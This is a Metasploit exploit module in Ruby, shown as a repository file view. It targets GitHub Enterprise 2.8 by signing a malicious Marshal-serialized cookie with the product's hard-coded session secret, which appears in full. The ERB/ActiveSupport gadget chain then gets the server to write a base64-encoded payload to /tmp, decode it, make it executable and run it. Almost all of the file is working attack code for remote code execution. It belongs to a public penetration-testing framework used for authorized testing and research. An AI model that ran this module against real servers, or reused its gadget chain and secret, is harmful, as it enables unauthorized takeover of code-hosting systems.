metasploit-framework/modules/exploits/linux/http/github_enterprise_secret.rb

195 lines
5.7 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Github Enterprise Default Session Secret And Deserialization Vulnerability",
'Description' => %q{
This module exploits two security issues in Github Enterprise, version 2.8. The first is
that the session management uses a hard-coded secret value, which can be abused to sign
a serialized malicious Ruby object. The second problem is due to the use of unsafe
2017-03-23 18:23:30 +00:00
deserialization, which allows the malicious Ruby object to be loaded, and results
in arbitrary remote code execution.
This exploit was tested against version 2.8.0.
},
'License' => MSF_LICENSE,
'Author' =>
[
'iblue <iblue[at]exablue.de>', # Original discovery, writeup, and PoC (he did it all!)
'sinn3r' # Porting the PoC to Metasploit
],
'References' =>
[
[ 'EDB', '41616' ],
[ 'URL', 'http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html' ]
],
'Platform' => 'linux',
'Targets' =>
[
[ 'Github Enterprise 2.8', { } ]
],
'DefaultOptions' =>
{
'SSL' => true,
'RPORT' => 8443
},
'Privileged' => false,
'DisclosureDate' => 'Mar 15 2017',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Github Enterprise', '/'])
], self.class)
end
def secret
'641dd6454584ddabfed6342cc66281fb'
end
def check
uri = normalize_uri(target_uri.path, 'setup', 'unlock')
res = send_request_cgi!({
'method' => 'GET',
'uri' => uri,
'vars_get' =>{
'redirect_to' => '/'
}
})
unless res
vprint_error('Connection timed out.')
return Exploit::CheckCode::Unknown
end
unless res.get_cookies.match(/^_gh_manage/)
vprint_error('No _gh_manage value in cookie found')
return Exploit::CheckCode::Safe
end
cookies = res.get_cookies
vprint_status("Found cookie value: #{cookies}, checking to see if it can be tampered...")
gh_manage_value = CGI.unescape(cookies.scan(/_gh_manage=(.+)/).flatten.first)
data = gh_manage_value.split('--').first
hmac = gh_manage_value.split('--').last.split(';', 2).first
vprint_status("Data: #{data.gsub(/\n/, '')}")
vprint_status("Extracted HMAC: #{hmac}")
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
vprint_status("Expected HMAC: #{expected_hmac}")
if expected_hmac == hmac
vprint_status("The HMACs match, which means you can sign and tamper the cookie.")
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def get_ruby_code
b64_fname = "/tmp/#{Rex::Text.rand_text_alpha(6)}.bin"
bin_fname = "/tmp/#{Rex::Text.rand_text_alpha(5)}.bin"
register_file_for_cleanup(b64_fname, bin_fname)
p = Rex::Text.encode_base64(generate_payload_exe)
c = "File.open('#{b64_fname}', 'wb') { |f| f.write('#{p}') }; "
c << "%x(base64 --decode #{b64_fname} > #{bin_fname}); "
c << "%x(chmod +x #{bin_fname}); "
c << "%x(#{bin_fname})"
c
end
def serialize
# We don't want to run this code within the context of Framework, so we run it as an
# external process.
2017-03-23 16:22:49 +00:00
# Brilliant trick from Brent and Adam to overcome the issue.
ruby_code = %Q|
module Erubis;class Eruby;end;end
module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, \\"#{get_ruby_code}; 1\\"
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, erubis
proxy.instance_variable_set :@method, :result
proxy.instance_variable_set :@var, "@result"
session =
{
'session_id' => '',
'exploit' => proxy
}
print Marshal.dump(session)
|
serialized_output = `ruby -e "#{ruby_code}"`
serialized_object = [serialized_output].pack('m')
hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, serialized_object)
return serialized_object, hmac
end
def send_serialized_data(dump, hmac)
uri = normalize_uri(target_uri.path)
gh_manage_value = CGI.escape("#{dump}--#{hmac}")
cookie = "_gh_manage=#{gh_manage_value}"
res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'cookie' => cookie
})
if res
print_status("Server returned: #{res.code}")
end
end
def exploit
dump, hmac = serialize
print_status('Serialized Ruby stager')
print_status('Sending serialized Ruby stager...')
send_serialized_data(dump, hmac)
end
end
=begin
Handy information:
To deobfuscate Github code, use this script:
https://gist.github.com/wchen-r7/003bef511074b8bc8432e82bfbe0dd42
Github Enterprise's Rack::Session::Cookie saves the session data into a cookie using this
algorithm:
* Takes the session hash (Json) in env['rack.session']
* Marshal.dump the hash into a string
* Base64 the string
* Append a hash of the data at the end of the string to prevent tampering.
* The signed data is saved in _gh_manage'
The format looks like this:
[ DATA ]--[ Hash ]
Also see:
https://github.com/rack/rack/blob/master/lib/rack/session/cookie.rb
=end